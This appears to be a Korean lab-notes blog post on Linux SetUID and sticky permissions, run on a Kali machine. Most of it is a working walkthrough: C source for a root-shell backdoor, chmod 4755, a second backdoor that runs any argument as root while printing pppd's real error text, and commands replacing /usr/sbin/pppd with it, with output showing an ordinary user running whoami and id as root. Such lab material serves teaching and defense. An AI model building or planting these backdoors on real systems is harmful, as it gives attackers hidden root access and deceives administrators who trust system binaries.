-rwsrw-rw- 1 kali kali 0 Mar 29 03:41 setuid	   
-rw-rw-rwt 1 kali kali 0 Mar 29 03:41 sticky
							→ 특수 권한이 부여된 파일에 실행 권한이 있는 경우
                          	  특수 권한을 소문자로 표시 

🔍 특수 권한이 설정된 파일 검색

┌──(kali㉿kali)-[~/LAB]
└─$ sudo find / -perm 4000          → 권한이 정확하게 4000과 일치하는 것 검색
                                      4000(SetUID) + 000(--- --- ---)                                  
┌──(kali㉿kali)-[~/LAB]
└─$ sudo find / -perm -4000	  → SetUID가 설정된 모든 권한(4000 ~ 4777) 검색

💻 root 사용자로 backdoor.c 파일을 생성하고 컴파일

┌──(kali㉿kali)-[~/LAB]
└─$ sudo su                

┌──(root㉿kali)-[/home/kali/LAB]
└─# gedit backdoor.c        

#include <stdio.h>

int main() {
	setuid(0);
	setgid(0);
	system("/bin/sh");
	return 0;
}


┌──(root㉿kali)-[/home/kali/LAB]
└─# gcc -o backdoor backdoor.c

                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l               
total 20
-rwxr-xr-x 1 root root 16056 Mar 29 03:59 backdoor
-rw-r--r-- 1 root root    90 Mar 29 03:58 backdoor.c
-rw-rwsrw- 1 kali kali     0 Mar 29 03:41 setgid
-rwsrw-rw- 1 kali kali     0 Mar 29 03:41 setuid
-rw-rw-rwt 1 kali kali     0 Mar 29 03:41 sticky

                                                                                 
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod o-x backdoor 			→ other의 실행 권한 제거
                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l backdoor      
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor

💁‍♀️ backdoor 파일을 복사한 후 특수 권한 부여

┌──(root㉿kali)-[/home/kali/LAB]
└─# cp backdoor backdoor_4744           
                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# cp backdoor backdoor_4755
                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4744 backdoor_4744 
                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4755 backdoor_4755

                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l backdoor*
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744		
										   → 실행 가능한 파일에 SetUID가 설정
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755
-rw-r--r-- 1 root root    90 Mar 29 03:58 backdoor.c

⏸ 다른 사용자로 전환해서 backdoor 파일 실행

터미널을 하나 더 열어서 진행

                                                                                
┌──(kali㉿kali)-[~/LAB]
└─$ sudo su gildong    					→ gildong 사용자로 전환
[sudo] password for kali: 

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l backdoor*                                                               
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755	
							  → gildong 사용자가 실행이 가능하고 실행 시점에 
                        		파일 소유자(root)의 권한을 일시적으로 가지게 됨
-rw-r--r-- 1 root root    90 Mar 29 03:58 backdoor.c	   

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor
bash: ./backdoor: Permission denied

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor_4744
bash: ./backdoor_4744: Permission denied

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ./backdoor_4755
# id

uid=0(root) gid=0(root) groups=0(root),100(users),1002(gildong)
~~~~~~~~~~~~~~~~~~~~~~~~~

# exit


┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id                                                                            
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)

🔍 파일 소유자가 root 사용자이고 setuid 권한을 가진 파일 검색

┌──(root㉿kali)-[/home/kali/LAB]
└─# find / -user root -perm -4000

	:
/usr/sbin/pppd
	:

                                                                                 
┌──(root㉿kali)-[/home/kali/LAB]
└─# cd /usr/sbin      
                                                                                  
┌──(root㉿kali)-[/usr/sbin]
└─# ls -l pppd     

-rwsr-xr-x 1 root root 16160 Mar 28 19:16 pppd


                                                                                  
┌──(root㉿kali)-[/usr/sbin]
└─# pppd --help

pppd version 2.4.9
Usage: pppd [ options ], where options are:
        <device>        Communicate over the named device
        <speed>         Set the baud rate to <speed>
        <loc>:<rem>     Set the local and/or remote interface IP
                        addresses.  Either one may be omitted.
        asyncmap <n>    Set the desired async map to hex <n>
        
        auth            Require authentication from peer
        
        connect <p>     Invoke shell command <p> to set up the serial line
        crtscts         Use hardware RTS/CTS flow control
        defaultroute    Add default route through interface
        file <f>        Take options from file <f>
        modem           Use modem control lines
        mru <n>         Set MRU value to <n> for negotiation
See pppd(8) for more options.

                                                                                 
┌──(root㉿kali)-[/usr/sbin]
└─# pppd  
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.

✍ backdoor.c 파일 수정

┌──(root㉿kali)-[/usr/sbin]
└─# cd /home/kali/LAB 
                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# gedit backdoor.c          

#include <stdio.h>

int main(int argc, char *argv[]) {
        char exec[100];
        setuid(0);
        setgid(0);
        sprintf(exec, "%s 2>/dev/null", argv[1]);
        system(exec);
        printf("pppd: The remote system is required to authenticate itself\n");
        printf("pppd: but I couldn't find any suitable secret (password) for it to use to do so.:\n");
        return 0;
}

                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# gcc -o backdoor backdoor.c

                                                                                
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4755 backdoor     
                                                                                  
┌──(root㉿kali)-[/home/kali/LAB]
└─# ./backdoor          
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:

👥 backdoor 파일을 pppd 파일로 위장

┌──(root㉿kali)-[/home/kali/LAB]
└─# cp /usr/sbin/pppd /usr/sbin/pppd.bak		→ 기존 파일 백업

┌──(root㉿kali)-[/home/kali/LAB]
└─# mv backdoor /usr/sbin/pppd		→ backdoor 파일을 pppd 파일로 덮어쓰기

💻 일반 사용자(gildogn)가 pppd(=backdoor) 실행

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd                                                                          
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "whoami"                                                                 
root
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "mkdir ./BACKDOOR"                                                       
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l                                                                         
total 40
drwxr-xr-x 2 root root  4096 Mar 29 04:22 BACKDOOR
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755
-rw-r--r-- 1 root root   393 Mar 29 04:18 backdoor.c
-rw-rwsrw- 1 kali kali     0 Mar 29 03:41 setgid
-rwsrw-rw- 1 kali kali     0 Mar 29 03:41 setuid
-rw-rw-rwt 1 kali kali     0 Mar 29 03:41 sticky

┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ pppd "id"
uid=0(root) gid=0(root) groups=0(root),100(users),1002(gildong)
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.:

0개의 댓글